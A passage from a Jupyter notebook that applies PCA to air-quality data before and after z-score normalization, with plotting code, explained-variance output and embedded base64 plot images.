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/+8penvf7OO+/k0ksvZe3atbzhDW/g9ttv/02bcEzs37+fD3zgA5x++uls3LiR97///fT09EztP1nsnKRarXL11Vfzwx/+cNr2k83OwxkeHub9738/69evZ+PGjfzVX/0VURS90tM6bkZGRrjwwgu57777prY99thjvOUtb2HdunVs3ryZ73//+9Nec8MNN3DhhReydu1arrjiCh555JHf9LSPma1bt3Lddddx2mmncdZZZ/Gxj32MkZER4OSyE+Cee+7hLW95C6eccgpnnXUWf/EXfzFV3PpkszWOY6655ho+8YlPTG072Wy8+eabWb58OevWrZv6uf7664GTz9bXPNrwsuD7vj7rrLP0l770JR2GoR4fH9fvfOc79cc+9jGttdZBEOiLLrpI/+3f/q32fV8/+eSTetOmTfrmm2/WWmu9e/duvWrVKv2zn/1Mh2Gob7rpJr169Wrd19f3Spp1VC677DL9yU9+UpfLZV0qlfSf/Mmf6De96U1a65PLTq21fuaZZ/Tll1+uFy9erH/wgx9MbT/Z7Hw273jHO/RHPvIRXalU9L59+/Qll1yi/8//+T+v9LSOiwcffFBfcMEFevHixfree+/VWms9NjamTzvtNP3tb39bh2Go7777br1u3Tr92GOPaa21vvfee/W6dev0gw8+qIMg0N/4xjf0xo0bdaVSeSVNOSrValWfddZZ+h//8R+17/t6ZGREv/e979Xve9/7Tio7tdZ6eHhYr1q1Sv/gBz/QcRzr/v5+/aY3vUn/4z/+40lnq9Zaf/7zn9dLly7VH//4x7XWJ9dzO8lnPvMZ/YlPfOKI7Sejra91jIfzZcJ1XW699Vb+4A/+ANu2GR8fp1qt0tzcDMADDzzAwMAAf/iHf4jruixfvpxrrrmG73znO0DyTW39+vVccMEF2LbNG9/4RjZs2MD3vve9V9KsIxgfH6e1tZUPfehDZDIZstks1157Lc888wzj4+MnjZ2QeFLe+c53cvnll9PV1TVt38lk57PZu3cv999/P9dffz3pdJpZs2bx/ve/f8q2VxM33HADH/3oR/nwhz88bfutt95KY2Mjb3/727FtmzPOOINLL710ysbvf//7XHLJJZx66qk4jsO73vUumpqauPnmm18JM56X3t5eli5dyn//7/8d13Vpamri6quv5oEHHjip7ARobm7m7rvv5oorrk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zgNBhe5fz5n/85jzzyCI888giPPvooX/va1/jRj37El770paMe39XVxSOPPEJXV9dLOu9ll13GTTfd9JLGOBZGRka44oor2Lt3L1/+8pd5+OGH+clPfkJDQwNXX301Bw4cOOFz+G1idHT0BY956KGHuPrqq1+TgtxgMPx2YgSnwXCSsWTJEjZs2MBTTz0FwDXXXMMnPvEJzjvvPF73utexbds2lixZwv79+6eO/9a3vjXlPXzb297Gtm3bpsb79a9/zVVXXcW6devYvHkz3/72twH44Q9/yObNmwG47777OOecc/jHf/xHNm7cyMaNG/mrv/orgiAAoFQq8ad/+qdcdNFFrF27lrPPPpsvf/nLx2TPF7/4RTzP4x/+4R+YN28eQgiampr41Kc+NWUPQK1W42/+5m8499xz2bBhA9dccw2PP/74tOvyve99j4svvpg1a9bw+7//+2zZsoW3ve1trFu3jiuvvHJqqfqLX/wi73//+/ngBz/I2rVr2bx5M9/73vemxhodHeVTn/oUmzZtYuPGjbzvfe9jz549AOzfv58lS5bw/e9/n82bN3Pqqady3XXX0dfXN/X6u+++m6uuuor169dzySWX8OMf/3hq3yc+8Qn+5//8n/z+7/8+69at4/zzz+eb3/wmAP/0T//ET37yE37yk59w2WWXHfV63XDDDXz0ox/lwx/+8DFdX4PBYPiN8Eo3czcYDMfPeeedp3/wgx9M/TsIAn3vvffqDRs26G9+85taa63f8Y536LPPPlv39fXp8fFx3dPToxcvXqx7enq01lovXrxYX3311XpgYEBPTEzod73rXfrd73631lrrXbt26ZUrV+rvf//7OgxD/cQTT+h169bpu+66S//gBz/Q5513ntZa63vvvVcvXrxYf+hDH9LFYlHv3r1bX3DBBfof/uEftNZaf/rTn9bvfOc79fj4uFZK6f/6r//Sixcv1nv27DmqHYdzzjnn6C996UsveC0+/vGP60svvVTv2bNH+76v/+Vf/kWvW7dOHzhwYMrOt7/97Xp0dFT39/fr9evX67PPPlvv2LFDl8tl/ba3vU1/4hOf0Fpr/YUvfEEvXrxYf/3rX9dBEOhf/vKXesWKFfruu++euqbXXnutHhgY0NVqVX/mM5/R5557ri4Wi1PX9/3vf78eHx/Xg4OD+k1vepP+1Kc+pbXW+umnn9arV6/Wt9xyi46iSD/00EN648aN+q677pqyY8WKFfpXv/qVDsNQf/e739XLli3TfX19U/s//vGPP+d1GBgY0GEYTtl87733vuC1MxgMhhON8XAaDK9y/vzP/5z169ezfv16zjjjDP7iL/6C6667jne84x1Tx5xzzjl0dHRQKBSOOsY111xDW1sb+XyeN7zhDVPeuptuuokVK1Zw1VVXYds2K1eu5N/+7d9YsWLFEWMIIfj0pz9NLpdj7ty5vOc975ny3H3wgx/k85//PLlcjr6+PlKpFAADAwMvaN/IyAhtbW3Pe4zv+9x444185CMfYc6cObiuyzvf+U7mz5/PjTfeOHXcO97xDhobG2lvb2fRokVcdNFFLFiwgEwmw+mnnz5teX7JkiVcd911OI7Dpk2buPjii/nP//xPenp6uP/++/nUpz5FW1sbnufx0Y9+lCiKuPPOO6de/973vpdCoUBrayubN2+euqb//u//zvnnn89FF12EZVmccsopvPWtb+U73/nO1Gs3btzIWWedhW3bXHnllcRxfMzL421tbdi2fUzHGgwGw28K86lkMLzK+fSnP80VV1zxvMe0t7c/7/7W1tap323bRmsNJILw2bGeS5cuPeoYDQ0NNDU1Tf17xowZU4JyeHiYv/qrv+Kpp56iu7ublStXAjxnYtPhtLW1PacwHRkZoaGhgfHxccIwpLu7e9r+7u7uqdABgMbGxqnfLcuioaFh6t9Syim7AebOnTttrBkzZvD0008zNDQEwKxZs6aNNWPGDA4cOMCaNWuA576mBw4c4N5772X9+vVT++M4Zvbs2dNsnsRxHODYrpXBYDD8tmI8nAbDawAhxHG9bsaMGUdks//gBz/gjjvuOOLYYrFItVqd+vf+/funxOqHPvQhVq5cyT333MMNN9zAH//xHx/zHDZv3sytt95KHMfTtmutec973sOf//mf09raSiqVoqenZ9ox+/btmya2X8x16O/vn/bv/fv3M2PGDGbOnDk19iRxHNPb2/uCnliAzs5OLr/8ch588MGpn1tuuYWvfvWrxzw3g8FgeLVhBKfBYHhOLrnkEp566il+9KMfEccxW7Zs4TOf+cxRl2zjOOazn/0svu+za9cuvva1r3HVVVcBiRj1PA/LshgZGeEv//IvAQjD8AXn8P73v5/x8XH++I//eCqpp7+/n09+8pP09fXxnve8ByklV155JZ/73OfYu3cvQRDwr//6r+zYseO4Szc9+uij/Od//idxHHPnnXdy2223ceWVV9Le3s65557LX/7lXzI4OEitVuPv/u7viOOY88477wXHveqqq7jxxhv51a9+hVKKPXv28I53vIOvf/3rxzQv13UpFovHZZPBYDC8UhjBaTAYnpPZs2fz1a9+le985zucdtpp/PEf/zGf+MQn2LRp01GPb2ho4Pzzz+faa6/l8ssv5z3veQ8Af/3Xf83NN9/MKaecwhVXXEFHRwfLly/nmWeeecE5NDc38x//8R80NDTwrne9i3Xr1nHVVVcRRRHf/e53p5aiP/axj7Fp0ybe9a53sXHjRn7605/yta99jXnz5h2X7cuWLeO2227j9NNP5zOf+Qx/+7d/y7p16wD4m7/5G2bNmsXll1/OmWeeybZt2/jXf/3XaUv2z8WaNWv43Oc+x+c+9zk2bNjAO97xDjZv3sxHPvKRY5rXG9/4Rh5++GFe97rXHZddBoPB8Eog9OFBSwaDwXAc3HfffVx77bXTyim9mvniF7/I/fffz7e+9a1XeioGg8FwUmA8nAaDwWAwGAyGE4oRnAaDwWAwGAyGE4pZUjcYDAaDwWAwnFCMh9NgMBgMBoPBcEIxgtNgMBgMBoPBcEIxgtNgMBgMBoPBcEIxgtNgMBgMBoPBcEIxgtNgMBgMBoPBcEIxgtNgMBgMBoPBcEIxgtNgMBgMBoPBcEIxgtNgMBgMBoPBcEIxgtNgMBgMBoPBcEL5/wFDD+gbt0W5yAAAAABJRU5ErkJggg=="
},
"metadata": {},
"output_type": "display_data"
},
{
"name": "stdout",
"output_type": "stream",
"text": [
"Explained Variance Ratio: [0.9386382 0.04787276]\n"
]
}
],
"execution_count": 12
},
{
"metadata": {},
"cell_type": "markdown",
"source": "### After z-score normalization",
"id": "e08e718b5de783e0"
},
{
"metadata": {
"ExecuteTime": {
"end_time": "2025-02-21T18:43:00.106554Z",
"start_time": "2025-02-21T18:42:58.669970Z"
}
},
"cell_type": "code",
"source": [
"scaler_zscore = StandardScaler()\n",
"df_zscore = scaler_zscore.fit_transform(df_attributes)\n",
"\n",
"pca_zscore = PCA(n_components=2)\n",
"pca_result_zscore = pca_zscore.fit_transform(df_zscore)\n",
"\n",
"df_pca_zscore = pd.DataFrame(data=pca_result_zscore, columns=[\"PC1\", \"PC2\"])\n",
"\n",
"plt.figure(figsize=(8, 6))\n",
"plt.scatter(df_pca_zscore[\"PC1\"], df_pca_zscore[\"PC2\"], c=df[\"Air Quality\"], cmap='viridis', alpha=0.6)\n",
"plt.title(\"2D PCA after Z-Score Normalization\")\n",
"plt.xlabel(\"Principal Component 1\")\n",
"plt.ylabel(\"Principal Component 2\")\n",
"plt.colorbar(label='Air Quality')\n",
"plt.show()\n",
"\n",
"print(f\"Explained Variance Ratio after Z-Score Normalization: {pca_zscore.explained_variance_ratio_}\")"
],
"id": "6555ab4839bf3a75",
"outputs": [
{
"data": {
"text/plain": [
"<Figure size 800x600 with 2 Axes>"
],
"image/png": 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WBu/7kdTW1qJpWrPvz8/b+en3ItT9gdea7wMhROeQhFIcF5599ln++c9/MmHCBJ544gnsdnurPv77778nLCys2WTqsMjISEaMGHHU9qZPn87q1avx+XxN/oJetmwZ99xzD6+++ipjxozhzTffxGq18uSTTzZKjP785z/zxhtvNJlQ5uTkcPXVV3PiiSeydOnS+uraK6+8wsqVK48a50/Z7XYmTpzIrbfe2uR1k8nUqvZqamq47rrrsFqtPPLII01+/OzZsxstPImPj+ell17iySefZMWKFQ2SIqPRyHnnncfXX3/Nvn376uOuqqpCVdUG793OnTsJBoP1Q+OlpaUNEtVAIEBlZeURh6wPV9peeumlJrdvSkpKaslbAcC4ceO46KKL+Pe//93oa8jhcJCdnd3oY0pLSwGOOqzeFk8//TQvvvgid999N6ecckr990xrpjIAfP755yxZsoSbb765furAYe+99x73338/N998M4sWLSI6OhqA66+/nq1bt7aofbvdjqIoTU5HKS0tbdUfjkKIriND3qLbe/311/nHP/7BvHnz6ldXt8bOnTv5/PPPOeecc9pUnWnKb37zG6qqqnj44YcbXSsvL+fZZ5+lb9++jB49Gr/fz3vvvcecOXOYMmUKkyZNavA4++yz2b9/f/3Q7U9t27YNn8/HlVde2WCo9nAyeaTKzM8T14kTJ5KVlUX//v0ZMWJE/ePdd9/lf//7X4Phxpa47bbbyMvL4+9//3uziVdUVFSDe40YMQKTyUR6ejqVlZVNrqYOhULk5ubWD7uPHz+eQCDA119/Xf8aTdO44447ePLJJ+sXWb333nsN2vnggw8IhUJH3A/zcLW4srKyQYxVVVX861//qq9gttRNN91EWlpaow3lJ0yYQH5+fqMh9HfffRej0cjIkSNbdZ+WWL9+Penp6SxatKj+e6a4uJg9e/agqmqL2ti9eze33HILp512GpdffnmT97Db7VxxxRX1yaTL5WL9+vUN7tFcdRnq5oMOHz6cDz/8sME0ktraWr766quj7mcqhOgepEIpurXS0lLuu+8+kpOT+eUvf9lgixuAtLS0+l9kAJs2bQLqEg6Xy8XWrVt58cUX6devH9dff32HxTV69Giuv/56/vWvf7F//37OOussoqKi2Lt3L88//zwul4unn34aRVH4/PPPqaqqanZYdeHChTz00EO8/vrrjVagDxs2DIPBwD/+8Q9+85vf4Pf7WbZsGV999RXAEeeORUREsGPHDtasWcPIkSO55JJLeOedd7jkkkv4zW9+Q1RUFB9++CH//e9/Gw1LH83LL7/MF198wbx583A4HPXv+0/ZbLZmN66eNm0ap59+Og899BC7d+/mlFNOITo6mqKiIl5//XWKiorqF2KccMIJjBkzhttvv53rr7+evn378t5777Fnzx7uvPNO0tPTOeuss3jsscfwer1MmjSJnTt38thjjzFp0iRmzJjRbD8yMjJYuHAhd955J/n5+QwfPpysrCwefvhhUlJS6NevX6vel58Off/U2Wefzauvvso111zDddddR2pqKl9++SVvvfUW11xzTX2ltCONHDmSJ554gqeffprRo0eTnZ3N0qVL8fv9Ldo+q6qqiquuuoq4uDguvvhiNm/e3OAPmLS0NEaOHMlrr73G/fffz+zZsykpKeG5556jrKysvnIMdV+LGzduZNWqVQwdOrTRvW6++WYuvfRSLrvsMn75y18SCAR4+umn8fv9XHPNNR3zhgghOpUklKJb+/rrr/F6veTn53PhhRc2un7fffdx9tln1//7vPPOq///yMhIkpKSuPTSS7nggguanIPWHldddRVDhw7llVde4b777qOqqorExERmzpzJb3/72/qq3bJly3A4HM0mNvHx8UydOpVPP/2U8vJyYmJi6q/17duXBx98kMcee4yrrroKh8PB6NGjefnll7noootYt24dmZmZTbb7m9/8hnvvvZdLL72UF154gfHjx/P666/z4IMPcvfdd+Pz+ejXrx/33HNPq4dBD2/78vHHH/Pxxx83+ZqJEycecT/Hf/zjH0yaNIl33nmHP/7xj7jdbqKjo5k2bRr33Xdf/T6Uer2eZ555hgcffJBHH30Ut9vN4MGDefbZZ+sXaNxzzz307duXt956i+eee474+Hguuugirr766iNWx6Dua2jp0qX1iWxMTAzz58/nhhtuaHXVFuoqqr/85S8b9N1qtfLyyy/z4IMPsmTJEpxOJwMGDGjTe99SV155JZWVlfz73//m8ccfp0+fPpxxxhn1K9irq6sbJH0/t3v3bvLz84G6ldU/d99993HWWWeRl5fHW2+9xauvvkpCQgKzZs3iggsu4M4772Tfvn2kp6dz4YUXsm3bNi6//HLuu+8+4uP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